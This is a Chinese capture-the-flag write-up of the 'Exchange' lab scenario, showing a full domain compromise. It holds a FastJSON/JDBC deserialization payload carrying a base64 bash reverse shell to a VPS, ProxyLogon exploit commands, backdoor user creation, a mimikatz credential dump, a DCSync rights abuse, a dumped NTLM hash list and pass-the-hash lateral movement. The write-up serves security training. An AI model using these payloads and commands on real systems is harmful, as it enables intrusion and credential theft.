春秋云境-Exchange
Exchange + JDBC + FastJSON 三者之间的关系简单理解:
Exchange 获取邮件 ->JDBC 存入 MySQL ->FastJSON 转换 JSON ,Java 应用可以处理企业邮件,并提供 API 给前端。
flag01
拿到ip后先用fscan扫一下
发现8000端口存在一个web服务,访问是一个华夏erp
搜了该CMS相关的漏洞,发现一个未授权漏洞,路径如下:
1 | /user/getAllList;.ico |
访问发现管理员账号密码
1 | {"code":200,"data":{"userList":[{"id":63,"username":"季圣华","loginName":"jsh","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":1,"status":0,"description":"","remark":null,"tenantId":63},{"id":120,"username":"管理员","loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e","position":null,"department":null,"email":null,"phonenum":null,"ismanager":1,"isystem":0,"status":0,"description":null,"remark":null,"tenantId":null},{"id":131,"username":"测试用户","loginName":"test123","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":0,"status":0,"description":"","remark":null,"tenantId":63}]}} |
解密得到明文密码admin/123456
解码登陆后台后,没有发现可利用的点;
fastjson反序列化漏洞检测
先随便抓个包看看,发现后端查询功能的内容是通过JSON传递的,在查询的参数上测试是否存在fastjson反序列化
poyload:
1 | {"@type":"java.nt.Inet4Address","val":"bc50l0.dnslog.cn"}#val的值为dnslog地址 |
执行poyload,poyload需要url全编码
执行后,dnslog有回显,说明poyload执行成功存在fastjson反序列化
使用如下poyload测试fastjson的版本,当fastjson<=1.2.68时,下方的代码就能成功执行,反之相反。
1 |
|
将poyload url编码后发送
发现有回显,代码执行成功说明fastjson<=1.2.68
fastjson<=1.2.68+ JDBC 反序列化实现RCE
同时根据题目提示的JDBC,针对fastjson<=1.2.68打JDBC实现二次反序列化CC,从而达到RCE
https://github.com/safe6Sec/Fastjson fastjson的poyload的来源
首先现在服务器上开启一个恶意的MySQL服务,需要下载两个工具MySQL_Fake_Server和ysoserial,同时需要把ysoserial-all.jar放到MySQL_Fake_Server的目录里面。
MySQL_Fake_Server的config配置如下:
ysoserialPath填写刚刚下载的Ysoserial地址
CC利用链选CC6,是CC3版本中最通用的一条链,bash后面为弹shell的poyload,需要添加vpsip和要监听的端口
1 | { |
开启服务
1 | python3 server.py |
同时需要监听9999端口(端口为config中设置的)
需要执行的poyload如下:
需要设置vpsip和端口
该poyload是MySQL JDBC 连接伪造,利用 autoDeserialize=true
触发 Java 反序列化漏洞。
从而导致执行恶意命令(反连vps的9999端口)
https://github.com/safe6Sec/Fastjson
1 | { "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "vps_ip", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } } |
poyload解释
注:对于config和poyload的AI解释为
- 执行的poyload的JSON 可能是一个实际攻击 payload,用于 MySQL JDBC 反序列化漏洞,利用
autoDeserialize=true
配合statementInterceptors
进行 Java 反序列化攻击;user
字段的值包含 ysoserial CommonsCollections6 反序列化利用链,通过bash -c
执行 base64 编码的命令,最终尝试反向 shell 连接到vps_ip:9999
。 - conifg的JSON 可能是用于 ysoserial 生成 payload(1的poyload由2生成),然后攻击者将其注入到 JSON。(填充到p要执行的 JSON中,伪装成 MySQL 连接参数,从而在目标服务器上执行代码。)
两者都涉及 ysoserial 反序列化漏洞,目标是执行系统命令,甚至读取敏感文件。如果 MySQL 服务器启用了 autoDeserialize=true
,攻击者可以通过 MySQL 连接参数直接触发反序列化漏洞,执行远程命令。
利用流程
服务端监听端口
服务端开启mysql
执行poyload
服务器mysql响应
得到shell,并且为高权限,直接查看flag
flag02
上传fscan和chisel
服务器端python开启http服务
shell下载fscan和chisel
内网扫描
得到内网信息
1 | 172.22.3.2 DC |
内网穿透
Exchange ProxyLogon
访问3.9机器的exchange服务
查看源码发现版本为15.1.1591为Exchange Server 2016
Exchange漏洞利用
介绍
ProxyLogon 是 Microsoft Exchange Server 在 2021 年曝光的远程代码执行(RCE)漏洞,编号为 CVE-2021-26855(SSRF)。它允许攻击者绕过身份验证,直接访问 Exchange 服务器,并结合其他漏洞(如 CVE-2021-27065)远程执行代码(RCE),最终控制整个服务器。
Exchange Server 2016可以使用proxylogon打
可以直接利用 CVE-2021-27065 RCE,前提是要知道用户名,一般来说都是 administrator@doamin,如果不知道可以通过 CVE-2021-26855 (SSRF) 获取到,我这里是直接使用的工具,下方的脚本没有使用
CVE-2021-26855 SSRF
1 | #!/usr/bin/env python3 |
配合CVE-2021-27065实现 RCE
1 | # -*- coding: utf-8 -*- |
漏洞利用流程
使用工具proxylogon,也可以使用exprolog
1 | proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab |
拿到shell,且为system权限
添加用户方便操作
1 | net user nihao9 nihao9! /add |
添加用户
远程桌面连接登录用户
查看administrator目录下的flag
远程端口 3389 没开的情况下使用的命令
1 | #机器通过注册表修改允许远程访问的命令 |
flag04
再查看用户时候看到还有一个Zhangtong的用户
使用mimikatz抓取密码
1 | mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit |
拿到的用户hash
1 | XIAORANG-EXC01$ |
上传个bloodhound分析域环境(需要上传到域机器上,或者上传到通过流量转发的机器上),发现XIAORANG-EXC01$机器他对域内用户具有 WriteDacl
WriteDacl :可写入目标 DACL,修改 DACL 访问权,即是说可以利用 WriteDacl 权限添加 Zhangtong 的 DCSync 权限
1 | proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :04a7efba490c30f2db51cd893d09a11d -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2 |
如果命令执行不成功,如上图,下载msada_guids.py到/usr/lib/python3/dist-packages/impacket即可,
添加权限后,使用Zhangtong用户dump hash
1 | proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm |
得到域管理员的hash
1 | xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8fa79a52e918cb0cbcd1c0ede492647::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\$431000-7AGO1IPPEUGJ:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_46bc0bcd781047eba:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_2554056e362e45ba9:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_ae8e35b0ca3e41718:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_341e33a8ba4d46c19:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_3d52038e2394452f8:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_2ddd7a0d26c84e7cb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_015b052ab8324b3fa:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_9bd6f16aa25343e68:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\SM_68af2c4169b54d459:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: xiaorang.lab\HealthMailbox8446c5b:1135:aad3b435b51404eeaad3b435b51404ee:6a049c17ae6f214d0ce0bb958be94c7a::: xiaorang.lab\HealthMailbox0d5918e:1136:aad3b435b51404eeaad3b435b51404ee:33cd42e4c654333ef6118bea55f376ba::: xiaorang.lab\HealthMailboxeda7a84:1137:aad3b435b51404eeaad3b435b51404ee:1e89e23e265bb7b54dc87938b1b1a131::: xiaorang.lab\HealthMailbox33b01cf:1138:aad3b435b51404eeaad3b435b51404ee:0eff3de35019c2ee10b68f48941ac50d::: xiaorang.lab\HealthMailbox9570292:1139:aad3b435b51404eeaad3b435b51404ee:e434c7db0f0a09de83f3d7df25ec2d2f::: xiaorang.lab\HealthMailbox3479a75:1140:aad3b435b51404eeaad3b435b51404ee:c43965ecaa92be22c918e2604e7fbea0::: xiaorang.lab\HealthMailbox2d45c5b:1141:aad3b435b51404eeaad3b435b51404ee:4822b67394d6d93980f8e681c452be21::: xiaorang.lab\HealthMailboxec2d542:1142:aad3b435b51404eeaad3b435b51404ee:147734fa059848c67553dc663782e899::: xiaorang.lab\HealthMailboxf5f7dbd:1143:aad3b435b51404eeaad3b435b51404ee:e7e4f69b43b92fb37d8e9b20848e6b66::: xiaorang.lab\HealthMailbox67dc103:1144:aad3b435b51404eeaad3b435b51404ee:4fe68d094e3e797cfc4097e5cca772eb::: xiaorang.lab\HealthMailbox320fc73:1145:aad3b435b51404eeaad3b435b51404ee:0c3d5e9fa0b8e7a830fcf5acaebe2102::: xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296::: Zhangtong:1147:aad3b435b51404eeaad3b435b51404ee:22c7f81993e96ac83ac2f3f1903de8b4::: XIAORANG-WIN16$:1000:aad3b435b51404eeaad3b435b51404ee:b9df9852037915b5f26114769ace114a::: XIAORANG-EXC01$:1103:aad3b435b51404eeaad3b435b51404ee:b0d89dce8c89f4a43758961e8f782174::: XIAORANG-PC$:1104:aad3b435b51404eeaad3b435b51404ee:74d63202f94c220e09056568feafa894::: [*] Cleaning up... |
横向移动
使用管理员hash,拿到管理员的shell,
1 | proxychains4 python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2 -codec gbk |
查看域管下的flag
flag03
利用管理员hash使用smbexec横向到26这台机器后,发现没有flag
抓取的hash还看到了lumia的用户名,可以用域管理员创建一个本地管理员修改lumia的密码 ,然后登录桌面和邮箱查找信息,
我这里直接使用工具pthexchange把用户lumia的附件和邮件都下载了下来
1 | proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download |
发现有个加密的压缩包
打开其他文件,发现压缩包密码是手机号
恰好有个手机号的文件
使用john爆破压缩包得到压缩包密码18763918468
1 | zip2john secret.zip >zip.txt |
解压文件得到flag
参考链接
https://mp.weixin.qq.com/s/Fvo1B5UbiqbENEe9uYrzJA
https://www.kinsomnia.cn/index.php/2024/03/25/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-exchange/